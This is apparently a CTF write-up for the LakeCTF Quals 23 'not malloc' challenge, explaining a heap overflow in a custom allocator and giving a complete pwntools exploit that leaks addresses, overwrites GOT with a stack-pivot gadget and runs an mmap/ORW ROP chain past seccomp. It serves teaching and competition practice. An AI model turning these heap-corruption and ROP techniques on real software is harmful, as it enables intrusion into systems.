Post

LakeCTF Quals 23 - not malloc Write up

Due to attending POC Conference, I couldn’t entirely solve this. During CTF, I found a vulnerability that custom heap which they implemented has BOF, but it takes a longer time for me to exploit it than I expected.

not malloc (19 solves)

[0x01] Summary

  • The author has implemented custom heap (notmalloc), and it has vuln about bof.
  • Through this, we can leak chunk metadata and overwrite it (similar to fastbin dup).
  • It makes AAW/AAR and I exploited it with mov rsp, rdx gadget bypassing seccomp.

[0x02] Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x09 0x00 0x40000000  if (A >= 0x40000000) goto 0013
 0004: 0x15 0x07 0x00 0x00000009  if (A == mmap) goto 0012
 0005: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0012
 0006: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0012
 0007: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0012
 0008: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0012
 0009: 0x15 0x02 0x00 0x00000003  if (A == close) goto 0012
 0010: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0012
 0011: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

The binary has seccomp mitigation, so we can only use the syscalls(ORW, mmap) above.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// contains user data
void* data_heap;

// contains metadata used by the allocator
void* metadata_heap;

// wilderness
char* top_chunk;

// setup
void __attribute__((constructor)) setup(){
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  setbuf(stderr,NULL);

  size_t heap_size = 0;
  printf("HEAP SIZE > ");
  scanf("%zx%*c",&heap_size);
  if(heap_size < MIN_HEAP_SIZE) {
    printf("please pick a heap size >= 0x%zx\n",MIN_HEAP_SIZE);
    exit(1);
  }
  metadata_heap = get_mapping(NULL,MAP_PRIVATE | MAP_ANONYMOUS,heap_size);
  data_heap = get_mapping(NULL,MAP_PRIVATE | MAP_ANONYMOUS,heap_size);
  ...

data_heap is heap base, and metadata_heap stores chunk metadata. They gets a consecutive address at setup.

Also, under the allocation logic, top_chunk can cross the metadata_heap address, so we can overwrite the metadata of chunk.

1
2
3
4
5
typedef struct chunk_metadata {
  struct chunk_metadata* next;
  size_t size;
  bool is_free;
} chunk_metadata;

The structure of metadata is composed of the members(next, size, is_free).

When allocating chunk at metadata_heap, we can leak notmalloc heap and libnotmalloc.so through next.

After this, we should get the base address of libc using GOT at libnotmalloc.so.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void create() {
  size_t index = get_index();

  printf("size > ");
  size_t size = get_number();
  if(!size) return;

  entries[index] = (char*) not_malloc(size);
  if(!entries[index]) {
    puts("alloc error");
    exit(1);
  }

  printf("content > ");
  fgets(entries[index],size,stdin);
}

void show() {
  size_t index = get_index();
  if(!entries[index]) {
    puts("<empty>");
  } else {
    chunk_metadata* meta = get_metadata(entries[index]);
    printf("size : %zu\n",meta->size);
    printf("content : %s\n",entries[index]);
  }
}

We can allocate GOT section by overwriting next, but there is the restriction. create function forces us to write any string.

But, it can be bypassed for entering a huge number like negative value. size is never validated at create.

Using it, we can just allocate a chunk at GOT section and leak libc address.

1
2
3
4
5
6
7
$ checksec libnotmalloc.so
[*] '/home/brwook/ctf/40_LakeCTF/not_malloc/libnotmalloc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The library has a weak mitigation (Partial RELRO) and it means that we can overwrite GOT of this.

1
2
3
4
5
6
7
8
9
10
11
12
13
// free chunk
void not_free(char* chunk){
  size_t size = get_metadata(chunk)->size;
  if(!size || (size % UNIT_SIZE)) {
    puts("corrupted chunk size");
    exit(1);
  }
  if(size >= QUICK_BIN_MAX) {
    link_(chunk,&misc_bin);
  } else {
    link_(chunk,&(quick_bins[get_metadata(chunk)->size/UNIT_SIZE-1]));
  }
}

After knowing it, I thought a lot of vectors and overwrited link_@got.plt with the mov rsp, rdx gadget.

2.png rdx register has address that we can overwrite

We can overwrite the GOT section through the technic similar to fastbin dup. And it means we can write ROP payload and execute it.

As we’ve seen before, the allowed syscalls are mmap and ORW, and we can get the flag by using these.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
choice = lambda x:p.sendlineafter(b"> ", str(x).encode())
def create(idx, size, content=False):
    choice(1)
    choice(idx)
    choice(size)
    if content:
        p.sendlineafter(b"> ", content)

def show(idx):
    choice(2)
    choice(idx)

def free(idx):
    choice(3)
    choice(idx)

context(arch='amd64')
p = process('./chal', aslr=1)
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x40)
shellcode += shellcraft.write(1, 'rsp', 0x40)
code = asm(shellcode)

libc = ELF("/home/brwook/ctf/40_LakeCTF/not_malloc/libc.so.6", False)
libnotmalloc = ELF("/home/brwook/ctf/40_LakeCTF/not_malloc/libnotmalloc.so", False)

heap_size = 0x4000
p.sendlineafter(b"HEAP SIZE > ", hex(heap_size).encode())
p.sendlineafter(b"> ", b'2')

# 1. libnotmalloc leak through misc_bin.head->next
create(0, heap_size // 4, b'dummy')
create(1, heap_size // 4, b'dummy')
create(2, 0x100, p64(0) + p64(heap_size // 4) + p64(1)) # located at chunk_metadata
free(1)
free(0)

show(2)
p.recvuntil(b"content : ")
notmalloc_heap = u64(p.recv(6).ljust(8, b'\x00')) - 0x3020
log.success(f"notmalloc heap @ {hex(notmalloc_heap)}")
assert notmalloc_heap & 0xFFF == 0x0

libnotmalloc.address = notmalloc_heap + 0x9000
log.success(f"libnotmalloc base @ {hex(libnotmalloc.address)}")

free(2)

# 2. overwrite misc_bin.head->next with setbuf@got.plt of libnotmalloc
create(2, 0x100, p64(libnotmalloc.got.setbuf + 0x2000) + p64(0x2000) + p64(1))
create(0, heap_size // 2, b'dummy')

# 3. libc leak through failing at fgets
create(1, -1)

show(1)
p.recvuntil(b"content : ")
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['setbuf']
mov_rsp_rdx = libc.address + 0x0005a170  # 0x0005a170: mov rsp, rdx; ret;
log.info(f"libc @ {hex(libc.address)}")

free(2)
free(0)

# 4. overwrite link_@got.plt with mov_rsp_rdx gadget
create(2, 0x100, p64(libnotmalloc.got.link_ + 0x2000) + p64(0x2000) + p64(1))
free(2)
create(0, 0x2000, b'dummy')
rop = ROP([libc])
mmap_address = 0x12345000
payload = flat(
    mov_rsp_rdx,
    libnotmalloc.sym.unlink_,
    libnotmalloc.sym.get_metadata,
    libnotmalloc.sym.get_chunk,
    libnotmalloc.sym.extend_mapping,
    libnotmalloc.sym.backward_consolidate,
    libc.sym.__isoc99_scanf,
    libc.sym.exit,
    libnotmalloc.address + 0x40a8,
)
payload += b'\x00'*0x30 + p64(notmalloc_heap) + p64(notmalloc_heap + 0x2000)
payload += p64(notmalloc_heap + 0x2120) + b'\x00'*8
rop.call("mmap", [mmap_address, 0x1000, 7, 34])
rop.call("read", [0, mmap_address, 0x1000])
payload += rop.chain()
payload += p64(mmap_address)

create(1, 0x800, payload)

# 5. trigger rop chain (mmap, read, and execute ORW shellcode)
free(0)
p.send(code)

p.interactive()
This post is licensed under CC BY 4.0 by the author.